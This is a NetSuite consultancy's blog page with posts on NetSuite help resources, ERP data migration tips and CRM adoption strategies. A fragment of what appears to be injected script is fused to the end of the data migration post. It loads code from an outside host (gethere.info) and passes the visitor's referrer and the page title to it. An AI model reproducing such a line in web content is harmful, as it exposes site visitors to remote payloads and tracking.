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Trajectory Blog

Welcome to our Blog. A source for insights, news and pro tips on NetSuite, the industries we serve and our own company.

The 7 Best NetSuite Support and Help Options (That Aren’t NetSuite Support)

Like all maturing software ecosystems, NetSuite’s help, support and training has been improving rapidly. Whether you’re looking for quick pointers, deep-dive DIY instructions or turn key delivery, the following seven ways to locate NetSuite help are sure to provide what you’re looking for.  

 

  1. The NetSuite Help File – It’s that unremarkable question mark logo in the top right, but what the NetSuite Help document provides is a highly sophisticated and integrated help system. Relative to the page/object you start your help search from, the help file provides specifics for the topic/subject you’re searching for as well as suggestions for related and relevant topics. This is definitely the place to start and should remain a touchstone throughout your day. Find it here (login required): https://system.netsuite.com/app/help/helpcenter.nl

 

  1. SuiteAnswers – Coming in at a very close second best place to find NetSuite help is NetSuite’s SuiteAnswers. Introduced a few years ago, SuiteAnswers has become a fantastic repository of guides, training videos, NetSuite support and specific topic how-to’s. You can master new release functionality, follow curated training guides and create/manage NetSuite support cases from a single location. Check out the training section to bring your skills up a level or two. Find it here: https://netsuite.custhelp.com/app/home

 

  1. NetSuite User Groups – Once you’re registered, the NetSuite User Groups provide a unified and universal place for NetSuite users of all stripes to ask public and private questions. Monitored by NetSuite experts (both inside and outside of the company) don’t be surprised if your question or post is responded to by founder Evan Goldberg himself. Look for highly-ranked posters with experience, and official NetSuite employees for the best NetSuite help, support and information. Find it here (login required): http://usergroup.netsuite.com

 

  1. SUITEideas – SUITEideas is reserved for NetSuite customers only and provides insight into product enhancements. SUITEideas provides a forum for help, support and discussion around NetSuite functionality available today and upcoming. If you want to know what’s around the corner with the NetSuite product, visit your NetSuite support tab from within the application to access SUITEideas.

 

  1. LinkedIn and Social Media– Like all other subjects, NetSuite help can be found online through LinkedIn user groups, twitter, and other social media. Search LinkedIn Groups for NetSuite and join the largest group “NetSuite User Group” here: https://www.linkedin.com/grp/home?gid=75432. Don’t forget to look for your local user groups where meetings and events provide access to NetSuite help, NetSuite support and ideas.

 

  1. SuiteWorld – NetSuite’s annual conference is an investment and bit of a trek for those not located on the West coast, however it is the most concentrated and largest gathering for those seeking and providing NetSuite expertise. Held annually, for a relatively low cost of admission you gain access to NetSuite education and training, direct access to NetSuite’s support Gurus, as well as hundreds of partners and software providers that plug into NetSuite. The dates and locations tend to move each year so visit the SuiteWorld website for details (Trajectory is there every year!): http://www.netsuitesuiteworld.com

 

  1. NetSuite Partner Network – Trajectory has been a leading NetSuite solution provider partner for nearly 10 years, so of course we’re a little biased. The NetSuite partner network is your best source for highly trained and leading-edge NetSuite know-how, research, applications and integrations. And, of course, NetSuite support, NetSuite help and turn-key project delivery. Look for certified consultants and customer success statistics/references for proof of quality. Trajectory’s NetSuite consulting practice can be found here: http://trajectoryinc.wpengine.com/netsuite-consulting/

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ERP Data Migration Best Practices: 7 Tips to Help Increase Data Migration Success

 

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The reality is, data migration is often an afterthought in an ERP implementation because the project sponsor is focused on the ROI of the project, which comes from the process improvement, time savings, and improved productivity. Data migration is that distant relative nobody likes who just shows up at Thanksgiving dinner. I may not be able to make your Thanksgiving dinner more pleasant, but here are 7 tips that will help make your Data Migration more successful:

1 – Be Realistic

If you want to drive a Ferrari, don’t expect to also fit your whole family in the car. The first step with data migration is to properly scope out what data and how much data you want to bring across. In the perfect world, you want everything in your old system to just show up in the new one, but the reality is, you have limited time, headcount and project budget. Pick your battles wisely. Communicate expectations well in advance to the stakeholders so that no one is surprised with what they see in the new system.

2 – Prioritize Your Data

Map out all the things that are crucial for your business to Go Live. You don’t want to be in a situation where you have 5 years of Support Case history but have nothing to sell because your Item Master has not been brought over. Meet with your stakeholders and decide on the top priorities for the business. If you try to migrate too many things at once, you likely won’t finish any of it. Obviously, master data and open transactions will take priority over closed historical data. But even within your master data and open transactions, you can set priorities. For example, out of your customer or vendor master, you may only want to bring over records you have done business with in the last two years.

3 – Staff Properly

Data migration is a full time job. If the person responsible for data migration is also the project manager who needs to close month end while preparing next fiscal year’s budget, the job won’t get done. At the same time, you want someone who understands the data and business processes to oversee the data migration effort because you want meaningful data in your new system. Lastly, you also want someone with the technical skillset to analyze and manipulate the data because not all data files are created equal. Bringing in temps or co-op students with strong technical skills who can fully dedicate their time with data is a cost effective solution that delivers great results.

4 – Master Data Strategy

This is especially important if you are trying to migrate data from multiple systems. There should be one version of truth in your new system. Be sure that your Subject Matter Experts review the data before it is loaded into your new system. Gauge the data quality of your existing systems, especially if there is manual data entry in multiple systems. Your data will not be 100% accurate and your Subject Matter Expert will need to clean up any bad data. Purge unnecessary data and merge duplicate data before bringing it over to the new system. Understand that this is a continuous effort because your old systems will continue to generate new data until the day you Go Live. Be prepared to maintain it. Treat your new ERP system like a new home. Don’t bring over garbage!

5 – Test in Small Batches

Load your data gradually and test it in small batches. You don’t want to spend time building a bed only to realize it does not fit in your bedroom. Start with a handful and see how the new system handles the data, and gradually increase your sample size. Once you have established a rhythm then load bigger batches. There is a lot of time saving to find out errors early in the process. Keep in mind you are running against the clock and there is no room for surprises at the zero hour. Learn and understand all your obstacles and errors early on.

6 – Validate Your Data

Once you have loaded everything into the system, the job is still not done. You need to validate that the data is correct. There are a few things you need to check. First is data volume. If you load in 1,000 records, you want to make sure there are 1,000 records in the new system. Second is quantity and value. If the batch total is $10,000, you want to be sure that the system also loaded $10,000. Even then, the validation is not complete because you need to make sure that any data you have brought over are mapped to the correct fields. This is a tedious process but has significant downstream implications because you cannot Go Live with incorrect General Ledger balances, Inventory value, or incorrect billing. Validate your data after ever load and validate it all again once you are done.

7 – Have a Plan B

The very last of the Thirty-six Stratagems says, “If All Else Fails, Retreat”. Always have a Plan B in case your data migration is incomplete at the zero hour. Fortunately, you still have several options. First option is to trim down scope. Discard any unnecessary tasks and focus on what is important for go live. There are things that can be done after go live, so it doesn’t have to get done all at once. Second option is to plan for a manual data entry workaround. You may not get all the data into the system in a data load, but it doesn’t stop you from having data entry staff on standby to key in data manually. Alternatively, communicate with the business so that the business users are prepared to fix bad data as they use the system after Go Live. If the address or contact information on your customer records are missing, have the business users enter this information as they process orders after Go Live. As a very last resort, be prepared to postpone Go Live. No one wants to postpone an ERP launch, but if the system is not ready then live and fight another day. Last thing you want is to rush and have a disastrous Go Live because none of the data makes sense in the new system.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

7 Strategies for Increasing CRM Adoption

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Every CRM project I’ve been involved in, whether as a sales representative/end user, internal project SME or NetSuite consultant at Trajectory, has included at least one meeting where the question is raised of whether the sales team will actually USE it. It usually starts with someone asking for suggestions on driving user adoption, followed by deafening silence and very little eye contact.

This is not a new problem – everyone in the room likely already knows what the sales reps’ objections will be: “I don’t have time for extra admin work”, “If I can’t access it on the road it’s useless to me”, “I’m hitting my numbers, just let me run my business my way”. A quick google search on CRM Adoption produces links to thousands of blog posts (one of which may have brought you here!) and yet it persists as a looming issue on CRM projects. Unfortunately there’s no silver bullet solution, and the right approach will depend on a number of variables including the composition of the sales team and the scale/scope of the CRM project. That said, below are 7 strategies for driving CRM adoption by Sales Teams, incorporating and summing up various lessons I’ve learned over the years:

1 – Talk about it EARLY!
Don’t wait till training or go-live, start driving towards user engagement as early as possible – ideally sometime around kickoff. Identify members of the sales team (not management, actual reps) that have expressed opinions (positive or negative) on the current tools and include them in requirements sessions and solution blueprint feedback. If they don’t have time for direct involvement in the project, consider scheduling a few internal ‘focus groups’ and invite as many as possible to attend. It will almost certainly identify use cases and gaps that would otherwise be missed until testing or (even worse) training, and makes the clear point that the team’s input is valued. Knowing who has strong opinions on the system will also come in handy for strategy #4…more on that later.

2 – What’s in it for ME?
Reality check – your salespeople likely won’t care that the new system will improve visibility on the forecast, calculate pipeline velocity metrics or integrate with your online order system. They just won’t. So focus instead on how using the CRM will benefit THEM! Simple things like eliminating the risk of a lost notebook with all your meetings, next steps and critical client strategies, reducing the time to get up to speed on a new client list after a promotion or territory shuffle via instant access to all of the history, or shorter forecast/funnel reviews with management because your boss already knows all about your deals in advance. The trick is that these benefits depend on habitual use of the system as part of daily routine – everyone knows that only flossing the day before you go to the dentist is useless.

3 – Talk about it OFTEN!!
Leverage every opportunity you can find or manufacture to expose users to the application and how they will use it. I’ve seen clients institute weekly ’Study Hall’ sessions where anyone can drop in and play with the application. Another approach is getting 10 minutes on the agenda for a weekly sales meeting, town hall, etc to demo something flashy – dashboards, electronic signature for contracts, real-time inventory availability accessed on a tablet – something quick to generate excitement. It will increase general familiarity with the system because they’ll keep seeing it in different contexts and you’ll reap the benefits when it’s time for user acceptance testing or training.

4 – Identify PowerUsers and Champions.
Remember back when we engaged the team early and often? Hopefully through that process you’ll identify reps with strong opinions or past experience (good or bad) with CRM applications as well as technically savvy folks who have an easier time picking up any new system. They can be a powerful resource if identified early and leveraged properly. They can be in the trenches endorsing the benefits and value to the team, commenting (ideally loudly and publicly) on how this new process does NOT, in fact, add significant admin work or helping their peers with simple questions and providing unofficial level 1 tech support. During one particularly hectic go-live for hundreds of users, we identified a handful of these power users to be the go-to resource for their colleagues for the first 2 weeks. I met with that group daily to review feedback, answer questions and triage larger issues that needed attention. It was hugely beneficial to the team as a whole, and selfishly it also really helped me keep my inbox under control!

5 – Carrot and Stick in Equal Measure
I worked with a sales VP once who was very passionate about this topic, and her philosophy was crystal clear – if it isn’t in CRM, it didn’t happen. This was top-down direction to the sales team that did not waver and no one was excluded – senior reps, top performers, new hires, everyone was made aware that it was part of their job to use the CRM. It’s important for senior management to be clear about expectations, but you can also have some fun with it. The same login audit trail and activity reports that identify users that are NOT using the system can also be used to reward those who are. Set up quick contests for most contacts added, least duplicates accidentally created, cleanest pipeline, etc and offer prizes to the winners. Never forget – sales people are fundamentally competitive by nature (it’s part of what makes them effective!) and watching someone else get rewarded instead of you can be a surprisingly powerful motivator.

6 – Keep it CLEAN!
Bad data is the easiest way to sour everyone’s opinion on the system, and can quickly corrupt all of the other strategies I’ve mentioned. If users don’t trust that the system has accurate and valuable information, they will not use it. The challenge is that the users are also the main SOURCE for CRM data, and aren’t always vigilant about data quality. This topic would justify a post all to itself (stay tuned!) but for now I’ll just say it is imperative to have a data quality strategy for your CRM, develop business processes and UI that prevents data anomalies where possible, and ensure that the necessary maintenance and validation actions are executed regularly. If you build it, they will come. But if you MAINTAIN it, they will come BACK!

7 – Don’t Stop!
Just like data quality, driving system adoption doesn’t stop just because the project is over. Use surveys to solicit feedback, and regularly refine and update your training documentation. Establish and track a knowledge base or FAQ so that common questions can be answered quickly and easily. Develop a change request process to let users suggest improvements, and get them on the roadmap. If done right, you’ll find yourself with a self-sustaining loop of system projects that can improve future adoption by engaged users!}

NetSuite Consulting Partner
Call: 647.259.0710
Email: hello@trajectoryinc.com